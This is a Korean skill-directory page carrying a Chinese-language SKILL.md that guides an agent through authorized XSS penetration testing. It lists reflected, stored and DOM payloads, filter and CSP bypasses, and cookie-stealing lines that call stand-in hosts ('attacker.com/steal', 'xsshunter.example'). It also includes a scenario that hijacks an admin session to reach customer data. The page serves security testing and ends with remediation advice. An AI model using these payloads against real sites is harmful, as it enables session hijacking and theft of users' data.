인터페이스는 현지화되어 있으며, Skill 소개와 설명 문서는 선택한 언어로 AI가 자동 번역합니다. 코드·명령어·경로·전문 용어는 원문을 유지하며 원작자 문서가 우선합니다.
Skills 둘러보기
개발 및 엔지니어링 · SKILL.md

testing-for-xss-vulnerabilities

testing-for-xss-vulnerabilities

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

Independent GitHub snapshot · Automated classification · Original documentation governs

Skill 문서

GitHub

name: testing-for-xss-vulnerabilities description: > 通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。 domain: cybersecurity subdomain: penetration-testing tags: [XSS, cross-site-scripting, client-side-security, OWASP-A03, JavaScript-injection] version: 1.0.0 author: mahipal license: Apache-2.0

测试 XSS 漏洞

使用场景

  • 作为 OWASP WSTG 测试的一部分,测试 Web 应用程序的客户端注入漏洞
  • 评估所有应用功能中输入净化和输出编码的有效性
  • 评估内容安全策略(CSP)标头针对 XSS 利用提供的保护
  • 通过会话劫持、凭据窃取或网络钓鱼覆盖向相关方演示 XSS 的影响
  • 测试单页应用程序(React、Angular、Vue)中客户端路由和渲染的 DOM 型 XSS

不适用场景:未获书面授权擅自测试应用程序、部署影响真实用户的持久化 XSS 载荷,或从生产环境中外泄真实用户会话令牌。

前置条件

  • 授权范围,定义目标 Web 应用程序和可接受的测试活动
  • 安装了 XSS 专用扩展(XSS Validator、Reflector、Active Scan++)的 Burp Suite Professional
  • 带开发者工具和 XSS 测试扩展(HackBar、XSS Hunter)的浏览器
  • XSS Hunter 或 Burp Collaborator,用于带外载荷验证
  • SecLists XSS 载荷列表和 WAF 绕过场景的自定义载荷

工作流程

步骤一:输入和输出映射

映射用户输入进入和被应用程序渲染的每个位置:

  • 反射输入:测试每个 URL 参数、搜索字段、错误消息以及响应中被反射的 HTTP 标头值
  • 存储输入:识别输入被保存后显示给其他用户的功能:用户个人资料、评论、论坛帖子、文件名、支持工单和聊天消息
  • DOM 输入:识别从 location.hash、location.search、document.referrer、window.name、postMessage 或 localStorage 读取并写入 DOM 的客户端 JavaScript
  • 输出上下文识别:对每个反射输入,确定渲染上下文:
    • HTML 正文:<div>USER_INPUT</div>
    • HTML 属性:<input value="USER_INPUT">
    • JavaScript 字符串:var x = 'USER_INPUT';
    • URL 上下文:<a href="USER_INPUT">
    • CSS 上下文:<div style="color: USER_INPUT">

步骤二:反射型 XSS 测试

使用适合上下文的载荷测试反射注入点:

  • HTML 正文上下文:<script>alert(document.domain)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>
  • HTML 属性上下文:" onfocus=alert(1) autofocus="、" onmouseover=alert(1) "、"><script>alert(1)</script>
  • JavaScript 字符串上下文:';alert(1)//、\';alert(1)//、</script><script>alert(1)</script>
  • URL/href 上下文:javascript:alert(1)、data:text/html,<script>alert(1)</script>
  • HTML 注释内:--><script>alert(1)</script><!--
  • 过滤绕过载荷(当基本载荷被阻止时):
    • 大小写变换:<ScRiPt>alert(1)</sCrIpT>
    • 事件处理器:<details open ontoggle=alert(1)>
    • SVG:<svg><animate onbegin=alert(1) attributeName=x>
    • 编码:<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

步骤三:存储型 XSS 测试

测试向其他用户渲染输入的持久化存储点:

  • 向步骤一中识别的每个存储输入字段提交 XSS 载荷
  • 在每个载荷中使用唯一标识符跟踪哪些输入触发:<script>alert('XSS-PROFILE-001')</script>
  • 检查存储输入被渲染的所有位置(相同输入可能出现在多个页面上)
  • 使用包含 JavaScript 的 HTML 文件、带嵌入脚本的 SVG 文件和包含 XSS 载荷的文件名测试文件上传功能
  • 通过原始 HTML 模式注入载荷,或在客户端编辑器净化后操控 POST 数据来测试富文本编辑器
  • 使用 XSS Hunter 载荷("><script src=https://yourxsshunter.xss.ht></script>)进行盲存储型 XSS 测试,适用于载荷在您无法直接访问的管理面板或内部工具中触发的情况

步骤四:DOM 型 XSS 测试

分析客户端 JavaScript 中不安全的 DOM 操控:

  • 源点识别:在 JavaScript 中搜索读取攻击者控制输入的危险源点:
    • document.location、document.URL、document.referrer
    • location.hash、location.search、location.href
    • window.name、postMessage 事件数据
  • 汇点识别:搜索写入 DOM 的危险汇点:
    • innerHTML、outerHTML、document.write()、document.writeln()
    • eval()、setTimeout()、setInterval()、Function()
    • 带事件处理器的 element.setAttribute()、jQuery.html()、.append()、v-html(Vue)、dangerouslySetInnerHTML(React)
  • 追踪数据流:跟踪从源点到汇点的路径。若用户控制的输入未经正确净化就到达危险汇点,则存在 DOM 型 XSS
  • 框架特定测试:测试 React dangerouslySetInnerHTML、Angular 模板注入({{constructor.constructor('alert(1)')()}})、Vue v-html 指令

步骤五:CSP 绕过与高级利用

测试内容安全策略的有效性并演示真实世界影响:

  • CSP 分析:审查 CSP 标头的弱点:
    • script-src 中的 unsafe-inline 允许内联脚本
    • unsafe-eval 允许 eval() 和类似函数
    • 通配符域(*.googleapis.com)可能托管可用于 CSP 绕过的 JSONP 端点
    • 未设置 base-uri 允许 <base> 标签注入,重定向相对脚本加载
  • JSONP 绕过:若 CSP 允许带 JSONP 端点的域,使用 <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
  • 影响演示:
    • 会话劫持:<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
    • 凭据网络钓鱼:注入虚假登录表单覆盖层,将表单提交到攻击者服务器
    • 键盘记录:注入捕获页面上键击的 JavaScript
    • 账户接管:使用 XSS 更改受害者的邮箱地址并触发密码重置

核心概念

术语定义
反射型 XSS非持久化 XSS,注入的载荷被包含在对同一请求的服务器响应中,需要受害者点击精心构造的 URL
存储型 XSS持久化 XSS,载荷被保存在服务器上,并服务给查看受影响页面的其他用户
DOM 型 XSS完全在浏览器中发生的 XSS,当客户端 JavaScript 读取攻击者控制的数据并将其写入危险 DOM 汇点时触发
内容安全策略(CSP)HTTP 响应标头,限制浏览器可以从哪些来源加载脚本、样式和其他资源,提供针对 XSS 的纵深防御
输出编码将特殊字符转换为其 HTML 实体等效形式(如 < 转为 &lt;),防止浏览器将用户输入解释为代码
汇点(Sink)若攻击者控制的数据未经净化就到达,可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性

工具与系统

  • Burp Suite Professional:带反射型和存储型 XSS 主动扫描的 HTTP 代理,加上用于手动载荷测试的 Repeater 和 Intruder
  • XSS Hunter:托管服务,生成在触发时回传截图、Cookie 和 DOM 内容的载荷,对盲存储型 XSS 至关重要
  • DOMPurify:开发人员用于防止 XSS 的客户端净化库;测试人员应测试已部署版本的绕过技术
  • 浏览器开发者工具:控制台、网络和元素标签,用于追踪 DOM 型 XSS 数据流并实时测试载荷

常见场景

场景:客户支持工单系统中的存储型 XSS

背景:一个电子商务平台有客户支持系统,客户提交的工单由支持代理在内部管理面板中查看。工单提交表单接受 HTML 格式。

方法:

  1. 在工单描述中提交带唯一 XSS Hunter 载荷的支持工单
  2. 支持代理在管理面板查看工单时载荷触发,将代理的会话 Cookie、页面 DOM 和截图发送到 XSS Hunter 服务器
  3. 使用捕获的管理员会话 Cookie 以支持代理身份访问管理面板
  4. 从管理面板访问客户记录、订单数据和退款功能
  5. 记录攻击链:客户提交工单 -> 代理查看工单 -> XSS 触发 -> 会话被窃取 -> 管理面板被入侵
  6. 测试 CSP 是否能阻止该攻击(本例中不存在 CSP 标头)

常见陷阱:

  • 仅测试 <script>alert(1)</script> 而遗漏通过事件处理器或非 HTML 上下文触发的 XSS
  • 未测试渲染给管理用户的功能中的存储型 XSS(支持工单、管理员查看的用户个人资料)
  • 忽略单页应用程序中的 DOM 型 XSS,其中服务端代码安全但客户端渲染存在漏洞
  • 未检查可能被记录并在管理员仪表板中渲染的 HTTP 标头(Referer、User-Agent)中的 XSS

输出格式

## 发现:支持工单描述中的存储型 XSS

**ID**: XSS-002
**严重性**: 高危(CVSS 8.1)
**受影响 URL**: POST /api/tickets(提交),GET /admin/tickets/8847(触发)
**参数**: description(POST 请求体)
**XSS 类型**: 存储型(持久化)

**描述**:
支持工单描述字段在存储到数据库之前未对 HTML 输入进行净化。
当支持代理在管理面板查看工单时,未净化的 HTML 在代理浏览器中渲染,
允许在管理应用上下文中执行任意 JavaScript。

**概念验证**:
提交包含以下载荷的工单:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

当代理查看工单时载荷触发,将管理员会话 Cookie 外泄到 XSS Hunter 服务器。

**影响**:
攻击者可窃取支持代理和管理员的会话令牌,获取管理面板的访问权限,
该面板具有查看客户 PII、处理退款和修改订单的权限。
影响所有 23 名查看客户工单的支持代理。

**修复建议**:
1. 使用上下文感知库实施输出编码(OWASP Java Encoder,
   客户端渲染使用 DOMPurify)
2. 部署内容安全策略标头:
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. 在会话 Cookie 上设置 HttpOnly 标志,防止 JavaScript 访问
4. 使用白名单方式在服务端净化 HTML 输入(仅允许安全标签)
저장한 Skills